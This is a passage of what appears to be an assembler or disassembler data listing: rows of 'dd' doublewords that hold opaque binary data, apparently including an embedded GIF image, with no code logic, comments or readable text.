		dd 58AAC8A1h, 0E9647EA9h, 0A0D56BB5h, 459ECD65h, 5AED569Bh
		dd 0EADD6DB6h, 28F45A1Ch, 9D4ABA53h, 53682D42h,	5CB248EBh
		dd 925FEB3h, 0C0C6AAD6h, 2582FB7Bh, 62EDF81Bh, 3F1D8DC6h
		dd 72191C86h, 2D75A35Ch, 303BBB83h, 1DAD4D6Fh, 6FE16FDh
		dd 4AB1162Ch, 0AF98490h, 0F0110D3Eh, 5DADC960h,	5B1D86BFh
		dd 73CA5AF6h, 1CCD332Fh, 864AAF55h, 0B60E5121h,	6F33B138h
		dd 1A41C2AEh, 63B27AFFh, 7F9EBE49h, 5D1D9EB3h, 0D5EA74FAh
		dd 4DBED719h, 0EB66F737h, 77FBDDDh, 78FC5E1Fh, 6E97D9ECh
		dd 0FD5E9F1Fh, 0DDEDF67Ah, 0B44795C3h, 4FBB79B2h, 9FC7BF35h
		dd 0FE7EFF5Fh, 47D3CBB1h, 6FEBD0Ah, 340B024h, 3FE9A40Fh
		dd 0B0440500h, 841F0741h, 0E9053D50h, 0B423063h, 4330C42Fh
		dd 0AF3426C7h, 43F0D42h, 6D114431h, 0F3B30E2h, 45314447h
		dd 0F12C3515h, 845713B6h, 0F9194631h, 17B2F16Bh, 4731C467h
		dd 0D1ABBD1Dh, 4771BB2h, 27214832h, 2E4F8Bh, 0B74FB29Bh
		dd 0B2649721h, 9C8ADA49h, 9D1FC8EFh, 2B4AB2A4h,	0AEB1EA63h
		dd 0B2E4AF29h, 0D4B32ACBh, 0BCEE492Eh, 26CCB324h, 4C4DC4C1h
		dd 3364D733h, 53CF3448h, 0E7394DB3h, 0CDF1FE5Ch, 33A2F0FAh
		dd 0B43F3D4Fh, 0F73C4913h, 6D03404h, 4E300CFBh,	54450F41h
		dd 3331423Fh, 1F475134h, 0DB4A0F25h, 52146C16h,	6E9D2F4Bh
		dd 0E5312DD1h, 24EBD3B4h, 3FD0B23Dh, 0D4B5253Dh, 949BE54Fh
		dd 654D4AC2h, 34B2D5B5h, 5955D55Dh, 0D609C567h,	35C56951h
		dd 0BD6C9957h, 7F5F574Fh, 25578855h, 57562581h,	2D6CC761h
		dd 6597651Eh, 9F6759B6h, 695A3685h, 5AB6A5A7h, 36C5AF6Bh
		dd 5DB76D5Bh, 0BF6E4136h, 715C3705h, 5CB725C7h,	35053366h
		dd 33AF4DD4h, 0DF775DB7h, 68DE3785h, 5EB795BDh,	77C5EF7Bh
		dd 0D51745Ah, 235BD195h, 7F9F8BCBh, 60B82606h, 38460F83h
		dd 66178561h, 1F8761B8h, 89623886h, 9F98A627h, 0D60D867Ah
		dd 0E6378A20h, 3F8F63B8h, 86E43906h, 0B5D6462Fh, 0A7AB6163h
		dd 719E719Eh, 5E67E5A6h, 98663986h, 668679A1h, 0F9C66B9Bh
		dd 0E6739D66h, 7B9F6779h, 67FA06FEh, 7A2683A1h,	468BA368h
		dd 65A3E8FAh, 6AE65A66h, 62E7C1C6h, 67B9EA98h, 0B98C649Bh
		dd 0B7AD193Ah, 0ADEBBAE6h, 6C3B018Dh, 0BB26C7B1h, 46CFB36Ch
		dd 0BBB56BDBh, 0B76DBB46h, 0EDFB86DFh, 3ACEE7B5h, 0B1C26719h
		dd 5D93BA58h, 7B9F07BBh, 88260EEh, 0BC2707C1h, 38782270h
		dd 17C4713Ch, 0C671BC57h, 723C771Fh, 0BC9727C8h, 0B72FCA72h
		dd 37CC733Ch, 0C373BCD7h, 899C1F3Fh, 27C1F03Bh,	274A981Fh
		dd 56188663h, 0D775BD67h, 763D875Fh, 0BDA767D9h, 0C76FDB76h
		dd 77DD773Dh, 32067DD7h, 0BA3BF1F2h, 878B25BDh,	80F6471Eh
		dd 97E51004h, 0E579BE67h, 7A0400FBh, 8400F3E8h,	0C7ABEB7Ah
		dd 0A5EA7AFEh, 0EE7BBE8Fh, 7C3EF7BFh, 0BF17C7F0h, 37CFF27Ch
		dd 0D7F47D3Fh, 0EE7DBF57h, 799F879Dh, 0C4710448h, 9A0D929Eh
		dd 302B11C7h, 0FF7FA509h, 6007FFh, 2403805h, 780D016h
		dd 0FE026044h, 640B815h, 9881D036h, 0E62382B0h,	0A5803F71h
		dd 6AB14A4Bh, 21F03D4Ch, 42803305h, 4550AD15h, 42384508h
		dd 84D09612h, 0A614427h, 1642B855h, 2F85D0B6h, 610C6184h
		dd 54360A08h, 0D12E6A21h, 60C81087h, 0C3DC7F8Eh, 62043F87h
		dd 44388510h, 88D11622h, 12624447h, 2644B895h, 4D89D136h
		dd 0C83987FCh, 0CA1B8420h, 0D1917866h, 40B83B47h, 2B0500Ah
		dd 0C5C0B417h, 4638C42Dh, 8CD19632h, 1A634467h,	3646B8D5h
		dd 6F8DD1B6h, 0E51C6384h, 0E22FC6B8h, 20A01582h, 0A1DA1805h
		dd 0C3AC970Fh, 0DA88FF06h, 48390436h, 90D21642h, 22644487h
		dd 4648B915h, 8F91D236h, 25246484h, 0FE0D4919h,	0E0EB06C3h
		dd 482D15A3h, 463D7FA9h, 84F0841Fh, 8C716027h, 94C39C63h
		dd 2A6544A7h, 564AB955h, 0AF95D2B6h, 652C6584h,	0D65A4B39h
		dd 24B396D2h, 0C16031C7h, 22104A89h, 43792C93h,	16FEFA2Ah
		dd 0C37C6D8Eh, 6644C798h, 4CB99532h, 99D33666h,	346684CFh
		dd 6A4D39A5h, 0D39AD356h, 0FC3846DCh, 0FC378A96h, 84573612h
		dd 40C43E4Ch, 23A0530Ah, 4770E51Dh, 4EB9D53Ah, 9DD3B676h
		dd 3C6784EFh, 7A4F39E5h, 0F79ED3D6h, 0ED3E67C4h, 0A0748E99h
		dd 10A414C3h, 42133783h, 3CC7184h, 4730E31Fh, 50BA1542h
		dd 0A1D43686h, 4468850Fh, 8A513A25h, 17A2D456h,	314668C5h
		dd 8C79B50Ah, 35020883h, 0D55526D9h, 3E4C749h, 0C568A20Bh
		dd 8F11E03Fh, 0A5D4B477h, 4C69852Fh, 9A533A65h,	37A6D4D6h
		dd 754E69C5h, 0F69E53BAh, 0F8F0A774h, 81482B47h, 441E9005h
		dd 0C798DF07h, 54B5F23Fh, 5CD536A6h, 37C798FFh,	0E2545074h
		dd 1843B489h, 0A83E0C64h, 885609C0h, 55FABCCh, 0AC5586Bh
		dd 82885A31h, 0C795540Ah, 8F11C20Eh, 0ADD5B6B1h, 0C4AB856Fh
		dd 1D8E11E2h, 0FC4895A0h, 17561752h, 2A0FFE73h,	22ABA258h
		dd 3E4488E3h, 46B78016h, 0FD846144h, 0AAC56207h, 8C1AB8D8h
		dd 0AB389615h, 0E60764Bh, 0B136347Ch, 6318F582h, 0CC581643h
		dd 87B34C42h, 0F0C36CB5h, 0CEBA8E61h, 0A98F9C06h, 81241507h
		dd 64107C0Ah, 1670015Ch, 0DB25C16Ch, 5A16D178h,	53ADB5B2h
		dd 7C0F25E1h, 911242A8h, 15A896Dh, 45795AE9h, 0B5B95984h
		dd 0A5CD7216h, 57316CDCh, 6DD5CE59h, 574B2A41h,	0B4E63EBBh
		dd 226D498Eh, 750F1148h, 0DFBBC394h, 0C5786F05h, 8800DE1Bh
		dd 45E3BCB7h, 9BCF78EFh, 0F7B6F65Eh, 0EF45EBBBh, 5EEBE179h
		dd 0BED7D6FAh, 3AAF0DF7h, 440A41E2h, 0F7215700h, 943381D8h
		dd 14718EAAh, 4607C0D8h, 0BC158270h, 0B82400E0h, 0F0860BC1h
		dd 613C2183h, 0C258170Ah, 84F08E15h, 0E618C2Fh,	0FAC17877h
		dd 4A3387FDh, 5EBC49ABh, 0A419A490h, 0E1482142h, 0C364728Eh
		dd 71862FC5h, 0E31C658Ch, 0B8C800FEh, 0B1B8D9C6h, 0E35C6F8Bh
		dd 2258E888h, 8F71E62Fh, 21E3FC81h, 46C7D90Bh, 618F322Eh
		dd 0D31D63BCh, 2638C9D8h, 7CA18E32h, 39571CE4h,	0F1CE41CAh
		dd 65BCB58Ch, 1393A317h, 426FF07Ah, 7F8C9C00h, 0D81C63B8h
		dd 0D59A7340h, 0B73666BCh, 7001CDB9h, 22399A73h, 4486C67h
		dd 738673CDh, 111CEB9Dh, 0CF79F73Ah, 9E73667Ch,	3CE6BD03h
		dd 87CEF9CFh, 0F9E33A6h, 0F339676Dh, 8671D059h,	31B1A474h
		dd 23FC770Eh, 8FF62319h, 0D7A44D55h, 0F5568B7h,	35B160A2h
		dd 526A3D44h, 0A5D4DA97h, 53A9800Eh, 8B558D6Dh,	1911D57Ah
		dd 0ED59AB75h, 9ABF56EAh, 0B58EB6D4h, 0EAAD6FABh, 0D71AF75Ch
		dd 0ACB5CEBDh, 5DEB5D5Fh, 0BAD8DACFh, 4FB13566h, 8F666CBDh
		dd 90969D1Ah, 52119843h, 0A3181D8Fh, 5A68E1CCh,	0EDBDB5B6h
		dd 0DB600467h, 0B81986DEh, 97EE1223h, 0E5DBBB81h, 63B8B736h
		dd 0FE726EA6h, 0EEDCCCCBh
		dd 0D9BBF786h, 0B772EF2Dh, 3EF5DC7Bh, 0BDB9BA37h, 0A3876E6Fh
		dd 0F4C0C6D2h, 22ED3537h, 1F25BB4Eh, 25839054h,	688DD1DAh
		dd 0FE1DC34h, 21C47887h, 3800D9CEh, 6F16E2BCh, 2E33C5F8h
		dd 0A3478D71h, 38F718E3h, 0F1FE1FC7h, 0E41C6F90h, 0C6B92717h
		dd 93723E51h, 25E59CB7h, 49C77937h, 4B9A712Eh, 90ED1BBCh
		dd 7DA41A04h, 0BB5B0010h, 5968DF1Dh, 743E85D0h,	0E8DD17A2h
		dd 0CB7A3001h, 0A5F41E90h, 4FE95D2Fh, 9DD3BA87h, 53A174D1h
		dd 0A744E99Dh, 5EA7D5B8h, 5D4BAB74h, 7ADF5AEBh,	749EA1D8h
		dd 65BD97B2h, 3FC768DFh, 0DDD5E00h, 546DC0Dh, 0D75F0B6Fh
		dd 707608C0h, 0C7771983h, 0BEF5DE7Bh, 8007BD77h, 3BF777EFh
		dd 781F03DEh, 0F09DF3C0h, 473C38CCh, 0C4787F04h, 84EF7607h
		dd 11E17C4Fh, 3C178FFh,	0CF93F1DEh, 2EFA447Bh, 0FE47C979h
		dd 3D079FEFh, 881D837h,	35FE539Dh, 0C6083B1Fh, 0D81D43Fh
		dd 0F5DEB5BAh, 0DD000B5Ah, 0D9B5BF62h, 0B7F61ECFh, 93EDBDC7h
		dd 0D5AE7B51h, 0D35EB03Eh, 0AF6CD77Dh, 0BEE48E7Bh, 3DDFB8F7h
		dd 7CBF93F2h, 0F9DEBFE5h, 3A86C35Bh, 808C11FEh,	28BAE6BFh
		dd 0D2214346h, 74668D91h, 7DFFBDFh, 1FC1F87Fh, 9F77F100h
		dd 0FF3FDEFCh, 7E2FCDF9h, 0FD4337F5h, 0FC3F1FEFh, 0FA7EBFCBh
		dd 0ECFD3FD3h, 0F1FA3F77h, 0E888FE1Fh, 6FFEFF3Fh, 0BF9BF6BFh
		dd 6CBF0401h, 28418748h, 0BD3896BDh, 6AA2885Eh,	84078620h
		dd 0C09408C0h, 0A40A409h, 7C0A800Ch, 40840BC0h,	0CC0D40Dh
		dd 0EC0FC0F4h, 0C0E06240h, 0C411C08h, 0BC134114h, 0C0EC10C0h
		dd 0FC15412h, 417C13Ch,	0C1341241h, 6241A419h, 0EA1E06A8h
		dd 0A90BEA85h, 5EA4E312h, 82A0D69h, 7104183h, 0EFC22402h
		dd 44234013h, 0BFABFFC2h, 263FB424h, 1C23C24Ch,	426BFF3Fh
		dd 0F9424425h, 0F2C2FE8Bh, 0CC2A3FBBh, 422C25C2h, 41871422h
		dd 339D8308h, 1D87D08h,	62070C06h, 543485B0h, 0C36435C3h
		dd 37C37436h, 8C36800Ch, 0C3985B43h, 3AC39C34h,	543B43A4h
		dd 435C3BC3h, 3D43DC3Eh, 8440437Ch, 44143CC3h, 4043F442h
		dd 3443C3ACh, 0C40C3EC4h, 35C47446h, 0F8708624h, 0BB641C87h
		dd 0C63EB8C6h, 0F02A0780h, 0BEE04182h, 2842242Eh, 0D3FEBFACh
		dd 452427C2h, 0FFC2DBF3h, 93FE400Bh, 453C5142h,	51C54C27h
		dd 3C25C004h, 0C4F45045h, 4286CBF0h, 943102C8h,	85E43207h
		dd 5E86C07Fh, 14608588h, 0C62461C6h, 63C63462h,	0C61888Ch
		dd 465C6100h, 66C60C66h, 9468C67Ch, 858C6846h, 64C68466h
		dd 2C6546ACh, 46346A46h, 6B46BC6Ah, 46AC694h, 0C6D469C7h
		dd 6E467C6Ch, 5474C63Ch, 5EC60C7h, 5E07F86Ch, 7164C1D0h
		dd 3B811F3Bh, 2CC4C8B6h, 245AC4E0h, 0BF745A40h,	8E456BFEh
		dd 254290FEh, 1C810894h, 0C82BF448h, 0F245342Bh, 145042CBh
		dd 42E48040h, 51482487h, 1C7D4584h, 84186CC0h, 5E2AA45Ch
		dd 785EC5F4h, 48EC8EC4h, 9043608Eh, 8C3BC42Ch, 43FC4588h
		dd 44C92C3Bh, 0CC370894h, 0C3EC463Ah, 95C41494h, 5438C924h
		dd 49A49544h, 3649C48Fh, 8C77C76Ch, 0C1E2AAC7h,	0C8C1F291h
		dd 0C82C0780h, 87104402h, 0A4C8A06Eh, 64A5CA54h, 0CA74A6CAh
		dd 6EC5ACA7h, 202CC2F8h, 0C5E096AAh, 6186987Eh,	0E4ADC9C8h
		dd 0CAF4AECAh, 0AF4B04AFh, 74B0C3C4h, 869861C3h, 4AC7807Eh
		dd 0C923153Ch, 0C6313ABh, 2C83107Ah, 0F8578390h, 86506685h
		dd 0BCCBC4BBh, 0E4BDCBD4h, 0CBF4BECBh, 0C0CC04BFh, 24C1CC14h
		dd 0CC34C2CCh, 66CC24C3h, 405785F8h, 28082C83h,	5F0224ABh
		dd 0C06F87A8h, 0CCB3B306h, 0CCCCC4CBh, 0E4CDCCD4h, 0BAACCECCh
		dd 0B34CF4CFh, 0A86F86C3h, 28F85F07h, 0FE479AD3h, 0B5C7A92Dh
		dd 984207C0h, 83F82402h, 5F85C04Eh, 0B4DA8610h,	0CDC4DBCDh
		dd 0DDCDD4DCh, 0F05F8614h, 0CE04DFCDh, 0E1CE14E0h, 0E4DA4E24h
		dd 0CE44E3CDh, 0E5CE54E4h, 0DCE6CE64h, 85C4DF4Dh, 2403F84Eh
		dd 0B25F0298h, 8508354Ah, 0ED875284h, 0F4EECEE4h, 0CF04EFCEh
		dd 0F1CF14F0h, 34F2CF24h, 0CF44F3CFh, 8E4F3CF4h, 54F6CF50h
		dd 50A8487h, 0C5CB5035h, 0C8C5C4B8h, 82802022h,	4903D027h
		dd 0F4FEA508h, 0D004FFCFh, 0FED01500h, 35028504h, 0D04503D0h
		dd 5D05504h, 75018505h,	0D08507D0h, 9D09508h, 2D01D0A5h
		dd 83D04950h, 1F028027h, 9CAB23D8h, 6C01B05h, 11875873h
		dd 3076875Dh, 0D14513D1h, 15D15514h, 62785165h,	0D18517D1h
		dd 18A77D15h, 551AD1A5h, 0D1B519D1h, 1251CD1Ch,	0C073075Dh
		dd 85981B06h, 0FA8B7CF9h, 6A0D0B7Ch, 82801C02h,	3583402Ch
		dd 7526D260h, 0D28527D2h, 0D2FE9528h, 2AD2A529h, 0C52BD2B5h
		dd 0D2D52CD2h, 2CD2E52Dh, 802D0345h, 82681C02h,	7A88522Ah
		dd 0A0220770h, 9BE87682h, 0D21E007Ch, 8537D371h, 0D3653753h
		dd 3AD3A539h, 0C07E53A5h, 0D3D53CD3h, 3B53D53Dh, 0F181D365h
		dd 0D3A540D3h, 42D4107Fh, 4543D435h, 0D45544D4h, 7687BD45h
		dd 702202A0h, 0B4C9A907h, 0B72ABC9Fh, 7078CFA4h, 82E83804h
		dd 4ED4E022h, 0E54FD4F5h, 0D5001FD4h, 52D52551h, 4553D535h
		dd 0D55554D5h, 56D56555h, 6D51555Dh, 3802ED5h, 8398C047h
		dd 49FD2B60h, 0D5D04C05h, 5ED5E55Dh, 55FD5F5h, 0D61560D6h
		dd 62D62561h, 4563D635h, 0D65564D6h, 25854D65h,	42A50470h
		dd 34DD4A4Dh, 7BAACD4Bh, 302603F0h, 0D6D56C82h,	2356E56Dh
		dd 56E81E0h, 0D71570D7h, 72D72571h, 4573D735h, 575574D7h
		dd 74D6FD74h, 203F0265h, 96D491Dh, 189D4D42h, 0E0170170h
		dd 9DCD7C9Dh, 0D7E5FE7Bh, 7FD7F57Eh, 1580D805h,	0D7D581D8h
		dd 0D9D83582h, 0E0671DF1h, 0CD49BD07h, 21D6A130h, 307D07ADh
		dd 34906D87h, 6A869335h, 0D58CD8C0h, 0D8E58DD8h, 8FD8F58Eh
		dd 1590D905h, 0D92591D9h, 93D93592h, 4D91D8BDh,	87306DB3h
		dd 9657907Dh, 0C21F0788h, 85E86306h, 60D9A860h,	0D59CD9C0h
		dd 0D9C59DD9h, 9FD9F061h, 15A0DA05h, 0DA25A1DAh, 0A385F061h
		dd 55A4DA45h, 85EDA45Ah, 0A7DA75A6h, 0E5A75A85h, 0D9DDA9D9h
		dd 0B25AB1B8h, 55ACBE79h, 86C1B01Bh, 0E1081877h, 7934D869h
		dd 87A8C5D8h, 0B3DB32D0h, 0C98E5B45h, 88320A1Bh, 0B4981082h
		dd 95B8DB85h, 18B1825Bh, 695B0165h, 1DB1B825h, 0DBE2E8D2h
		dd 67DBF5BEh, 35BF9321h, 5220EA97h, 0C3DC1176h,	97CDC45h
		dd 170DC4DCh, 385B0DC2h, 9162DBD1h, 0DC294C5Ch,	4B5CB5C9h
		dd 0D5CBDCA9h, 0DCC9445Ch, 3DDCF5CDh, 15CFDCE9h, 0DD09395Dh
		dd 0DD35D1FEh, 0D3DD2932h, 492BDD55h, 0DD75D5DDh, 3BDC7933h
		dd 0A5D7CA09h, 5D8DD45Dh, 0DADD993Fh, 0BDD65DD5h, 6A100DDh
		dd 7A87C864h, 25DDDB60h, 8789215Eh, 6407C87Ah, 315486A0h
		dd 86A06F0Fh, 0E25E0865h, 0A5E9DC62h, 0DEB5EADEh, 0ECDEC5EBh
		dd 40795BF5h, 6A065DEh,	6F17E86Fh, 0E06586B8h, 0D97DE087h
		dd 20DF45E2h, 0E07C9949h, 6B86587h, 6F150DF0h, 653C0A70h
		dd 0DFB227D3h, 0FCDFC5FBh, 0E5FDDFD5h, 0DFF5FEDFh, 0E005FFh
		dd 2601E016h, 603602E0h, 3C536225h, 8DF80A35h, 865DF1DFh
		dd 88640A7h, 0A609E096h, 0E0B60AE0h, 0CE0C60Bh,	0E60DE0D6h
		dd 0E0F60EE0h, 10E1060Fh, 2611E116h, 0E13612E1h, 14E14613h
		dd 6615E156h, 0E17616E1h, 0F7607E0Eh, 0D5F0E065h, 0E1B06A06h
		dd 1CE1C618h, 0E61DE1D6h, 0E1F61EE1h, 20E2061Fh, 2621E216h
		dd 0E23622E2h, 24E24623h, 6625E256h, 0C47626E2h, 0E28627E2h
		dd 29E29628h, 5E1B6226h
		dd 17EE19DEh, 0F95F9070h, 0F62E86D5h, 0E3062FE2h, 31E31630h
		dd 3632E326h, 0E34633E3h, 35E35634h, 7636E366h,	0E38637E3h
		dd 39E39638h, 0B63AE3A6h, 0E3C63BE3h, 34E3D63Ch, 0F62CE2DEh
		dd 0E4063FE3h, 41E41640h, 3642E426h, 0E44643E4h, 45E45644h
		dd 7646E466h, 0E48647E4h, 49E49648h, 0B64AE4A6h, 0E4C64BE4h
		dd 4DE4D64Ch, 0F64EE4E6h, 0E5064FE4h, 51E51650h, 3652E526h
		dd 0E54653E5h, 55E55654h, 7656E566h, 0E58657E5h, 59E59658h
		dd 0B65AE5A6h, 0E5C65BE5h, 5DE5D65Ch, 0F65EE5E6h, 0E6065FE5h
		dd 61E61660h, 3662E626h, 0E64663E6h, 65E65664h,	7666E666h
		dd 808A466h, 3B00h, 0
		dd 38464947h, 21D6137h,	0E700F4h, 10000h, 1000200h, 4000004h
		dd 9050007h, 20A0700h, 0B040C08h, 0F0C060Eh, 9100E07h
		dd 100A110Fh, 13110C12h, 0D15130Eh, 160F1B15h, 1F1A0C1Ch
		dd 0F201B0Eh, 1F11211Dh, 25201324h, 15262114h, 24172722h
		dd 2B271929h, 1C312816h, 2C1A2E29h, 372E1C35h, 213A311Fh
		dd 35233C33h, 4137253Eh, 2A423927h, 3D23453Bh, 4D3F2046h
		dd 24483F26h, 46275043h, 57492B53h, 2F594C2Dh, 50325B4Eh
		dd 6053345Eh, 34625536h, 59356A57h, 6D5A376Ch, 3C705D39h
		dd 6235725Fh, 75623E74h, 3A766538h, 693D7967h, 7D6B3E7Bh
		dd 417E6C3Fh, 6F427F6Dh, 82704381h, 41847245h, 74478B74h
		dd 8C754286h, 468E7644h, 725F8F78h, 89745989h, 498A755Ah
		dd 7C4A927Bh, 957E4C94h, 4E8F7A5Fh, 814F9780h, 9A825198h
		dd 52947E63h, 8A339C84h, 9E8654CAh, 5597806Dh, 826B9F87h
		dd 677C9093h, 3FA18957h, 8758BC8Fh, 0A38B59CBh,	54B8913Eh
		dd 8576AA8Ch, 0A58D5B97h, 57A68F54h, 8872AC8Eh,	0DB8A5699h
		dd 73AD8F58h, 92509A89h, 0AE9059AEh, 5BFF9141h,	9553B092h
		dd 0B2945DB1h, 7EB39755h, 8F789F8Dh, 0A79468A0h, 52FF9646h
		dd 9957FE93h, 0B69A58B5h, 5ABC995Bh, 937BB89Ch,	0F69854B0h
		dd 7EB99D5Ch, 9778A695h, 0BA9E5DA7h, 86A7967Fh,	9F5EA895h
		dd 0BDA05FBCh, 50FF9B5Ah, 0A160FF9Eh, 0AA9982BEh, 69C8997Ch
		dd 9C66E89Ch, 0BAA270FCh, 8DFFA160h, 9D91AF9Ch,	0D7A27FAAh
		dd 97FEA56Dh, 0A965B0A2h, 0C9A97BFFh, 9AFFAA66h, 0AF7AB3A6h
		dd 0FFAC72C1h, 9EBAADA1h, 0B280CDADh, 0CEB098FFh, 0A7C8AEA3h
		dd 0BA6FB7AFh, 0DDB393FEh, 94C5B78Fh, 0B58BDEB5h, 0C1B3A8FEh
		dd 8EFFB984h, 0BA96FEBCh, 0C3BBB2FEh, 0B5FFBF91h, 0C1A5C5BDh
		dd 0FFC39BE6h, 0A4F7C7A2h, 0C6A9FDC6h, 0CDC5BDF7h, 0BFCFC6BEh
		dd 0CAA8D0C7h, 0FDCE9FFFh, 0A7FCCAADh, 0CAC1FDCDh, 0FECCB0D2h
		dd 0B8FFCFB2h, 0D0C8FCD0h, 0FFD2BAD8h, 0CCFFD6B5h, 0D5C2DDD5h
		dd 0FDD8BCFCh, 0B7F8DBBAh, 0D8CFFFDCh, 0DBD9D4E0h, 0D2FFDAC6h
		dd 0DACBE2DAh, 0FCDCC5FCh, 0D4E4DBD3h, 0DDD8E5DCh, 0E8DFD7E0h
		dd 0C7E2DFDAh, 0E0DBFBE3h, 0FBE2CEE3h, 0D9E9E1D8h, 0E3DDEAE2h
		dd 0FFE7CBE5h, 0CFE6E4DFh, 0E4DCFAE7h, 0FAE6D6FAh, 0E1E8E5E0h
		dd 0E4EAE9E6h, 0F5E5E1E3h, 0DFDDE4EDh, 0E7E2F0E7h, 0F6E6E2EAh
		dd 0E3F6E8DCh, 0E7E3EBE8h, 0ECE9E4F7h, 0E5F8E8E4h, 0ECE0EDEAh
		dd 0EEECE6FAh, 0E7F5EBEAh, 0F0DCEFEDh, 0F7EEE5FDh, 0E4F2EFEAh
		dd 0F3DFFFF1h, 0FAF1E9FFh, 0EDF4F1ECh, 0F1F0F5F2h, 0F6F3EEFBh
		dd 0F1F7F5EFh, 0F6F9F9F7h, 0FBF8F3FBh, 0F7FCF9F4h, 0F8FAF6F9h
		dd 0FDFAF5FCh, 0F6F7F8FEh, 0FBF9FEFBh, 0F9FCFAF8h, 0FBFFFDF7h
		dd 0FCFEFAFDh, 0FFFEF8FFh, 0FCFBFDFFh, 0FFFEFBFFh, 2CFCh
		dd 21D0000h, 80000F4h, 89D00FEh, 20B0481Ch, 0B44E2D41h
		dd 0B0C32168h, 688643A1h, 489C4A22h, 8B9C6231h,	0DC6A3318h
		dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh
		dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 5192730Fh, 0CFA0D098h
		dd 2A79039Fh, 61B0A85Ch, 90688851h, 512A5CDEh, 50A7D3A6h
		dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D30E2688h, 1A915FAFh
		dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh
		dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh
		dd 0BF7DC3E1h, 91B3E49Eh, 8E3E5631h, 38C6469Dh,	0BDE42AB9h
		dd 0D1C72B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0E64B0E2h
		dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h
		dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh
		dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h
		dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh
		dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh
		dd 411F2028h, 0C08070h,	8410740Ah, 0D834017Fh, 0C41200E0h
		dd 0CE0B1C90h, 105B9851h, 80D00C14h, 0D0D5B60Bh, 481100C0h
		dd 20879B58h, 0DD9088Ah, 0C180040Fh, 0E005E512h, 0B87C859Bh
		dd 0FC8C9F98h, 8DE038D1h, 8357AA38h, 0B1BC4205h, 3C3A19C7h
		dd 367F4330h, 484A1E2h,	0A3671830h, 0D119B992h,	2C781481h
		dd 7C924111h, 11811160h, 80B11875h, 89599010h, 0F25C96A5h
		dd 4E0503D1h, 74581E0h,	0E4B79058h, 0E8E66B6Dh,	0C6709BE6h
		dd 63031B69h, 284E6DCh,	0C4A6E244h, 0D7364C03h,	0D46605A6h
		dd 900344C6h, 88C390ADh, 287A1427h, 0CA243564h,	0F2610607h
		dd 0E2A384A1h, 0A59B59B5h, 0E9AA6672h, 0A015F8A6h, 0EC016F44h
		dd 5C8400F0h, 6D816132h, 40B04455h, 0D006559Dh,	61FE6405h
		dd 0C190030h, 80600C11h, 0D8C6AF07h, 40150203h,	200483F6h
		dd 9ADB90F6h, 0C018C875h, 0B1F2BDAEh, 44010443h, 0E8C6C20h
		dd 0B3AC0AFAh, 40C0C5B6h, 1541900h, 0E1BE836Dh,	17640031h
		dd 14990B68h, 2E2B8014h, 5642E41Fh, 0D5B51D40h,	0BF6E4111h
		dd 1E07CB06h, 6ED19C0Ch, 41F07804h, 42B8ADABh, 2E6DAC66h
		dd 6DB0183Ah, 6CFB36CBh, 3006418Ch, 0D1B60EC0h,	0EE642F6Bh
		dd 0B52F1BE6h, 0ECAB22FEh, 0B0180100h, 12FE1381h, 8C52CCCh
		dd 6DF0B8A7h, 2AE976ABh, 5BEAB2ACh, 1EB9ADEBh, 0AC86BCBh
		dd 0A5E31C33h, 590C8F09h, 403EC010h, 0F69CA603h, 0A0D1FACh
		dd 0C65BA0E8h, 0C411D43Ah, 90522C02h, 7428ACE6h, 2C6403C0h
		dd 6402D020h, 87C0783Ah, 41EED90Bh, 0F81B0A06h,	4C1BC21Bh
		dd 28481F0h, 421D441h, 0B6E04803h, 78121226h, 3E1F360Dh
		dd 0D1842028h, 31D1180Ah, 7D976364h, 7CDAFE76h,	1D44E904h
		dd 0F33DB430h, 9E08586Fh, 0C190BB00h, 87640081h, 6438A6D7h
		dd 47CE2003h, 96E0061Dh, 0F368D9B7h, 27870281h,	0D67570A2h
		dd 0B83D775Bh, 0DDEFF8Dh, 0DB74DCB7h, 0DA06231Dh, 6DADF0EEh
		dd 8376D79Bh, 0EDEF97E7h, 0C323D876h, 83BBC321h, 10773E9Fh
		dd 0FACBFB75h, 0D39B7C5h, 5B54D4B5h, 5A15758Dh,	0EAFB7D73h
		dd 0A34EBFADh, 0B643D18Ah, 0F47596C4h, 3ECF0060h, 0D5F6F77h
		dd 0C2302C06h, 0EA7C420Ch, 7C3589AFh, 1C8C2FA0h, 0A42C108h
		dd 3904190h, 30A59004h,	0B45203F5h, 61BF805Bh, 0D41E643h
		dd 0D581C1B5h, 379B64D8h, 42020104h, 0F8FF518Bh, 8C1B8170h
		dd 0FBA60388h, 0B807005Fh, 0A5D8381h, 81902C38h, 24B6EEE9h
		dd 7CC05519h, 4935B70h,	74402321h, 1C5C09F1h, 38FE9FC3h
		dd 0D1D33008h, 0F40F81A8h, 68368B17h, 805CDAC2h, 43E42363h
		dd 0A9781509h, 5C105D48h, 14640EFEh, 0C3346304h, 7E0D41DEh
		dd 0FD1F907Ch, 3E3F60F8h, 0FB6210A8h, 7F0CA1E3h, 0CA22BD38h
		dd 84000428h, 0C7BCCECCh, 1D4FEC5h, 404A8D09h, 188200h
		dd 0CE1F156h, 0B9434A78h, 3C00A726h, 476BA104h,	0D20483E2h
		dd 0C13081A6h, 48410841h, 25FCB301h, 0A1A404B9h, 80486936h
		dd 809604DAh, 52E0F80Dh, 0C3C01B92h, 0DEB8B8CEh, 829011F9h
		dd 0FE0203E4h, 60DF4048h, 1C468061h, 0B073255Dh, 1E02C01h
		dd 0D3581709h, 48132123h, 592A9570h, 1E63B87Ch,	2A49A8F7h
		dd 8A0F90FEh, 1A19CDACh, 0D17C8019h, 64A78190h,	50F9251Ch
		dd 0CE4918CAh, 1801B04h, 4B195E96h, 5FD2CCC8h, 1BE4CCB6h
